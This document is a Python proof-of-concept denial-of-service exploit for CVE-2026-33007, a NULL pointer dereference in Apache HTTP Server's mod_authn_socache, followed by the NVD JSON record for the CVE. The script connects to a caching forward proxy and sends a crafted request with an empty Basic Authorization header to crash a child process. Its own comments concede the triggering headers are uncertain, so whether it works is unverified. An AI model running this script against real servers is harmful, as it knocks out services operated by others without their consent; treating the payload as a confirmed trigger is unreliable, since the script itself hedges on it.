CVE-2026-33007

import socket import sys # PoC for CVE-2026-33007 # Apache HTTP Server mod_authn_socache Null Pointer Dereference # This script sends a crafted request to a caching forward proxy to trigger the crash. def send_exploit(target_ip, target_port): try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) # Connect to the target proxy s.connect((target_ip, target_port)) # Crafted payload intended to trigger the NULL pointer dereference # Note: The specific headers required to hit the vulnerable code path # in mod_authn_socache may vary based on configuration. payload = ( "GET http://example.com HTTP/1.1\r\n" "Host: example.com\r\n" "Proxy-Connection: keep-alive\r\n" "Cache-Control: max-age=0\r\n" # Vulnerability is in mod_authn_socache, might require specific auth headers # or caching interaction headers depending on the exact code flow. "Authorization: Basic\r\n" "\r\n" ) print(f"[*] Sending payload to {target_ip}:{target_port}...") s.send(payload.encode()) # Receive response response = s.recv(1024) print("[*] Server responded. Exploit might have failed if server is still up.") print(response.decode()) except ConnectionResetError: print("[!] Connection reset by peer. Child process may have crashed (DoS).") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": # Example usage: python poc.py 127.0.0.1 8080 if len(sys.argv) != 3: print("Usage: python poc.py <IP> <PORT>") else: send_exploit(sys.argv[1], int(sys.argv[2]))

{"cve": {"id": "CVE-2026-33007", "sourceIdentifier": "[email protected]", "published": "2026-05-04T15:16:04.107", "lastModified": "2026-05-04T20:22:13.073", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference in the mod_authn_socache in Apache HTTP Server 2.4.66 and earlier allows an unauthenticated remote user to crash a child process in a caching forward proxy configuration.\n\nUsers are recommended to upgrade to version 2.4.67, which fixes this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.4.0", "versionEndExcluding": "2.4.67", "matchCriteriaId": "3BEA6923-FB92-4DCC-92A2-D5916CDC58FF"}]}]}], "references": [{"url": "https://httpd.apache.org/security/vulnerabilities_24.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/04/22", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}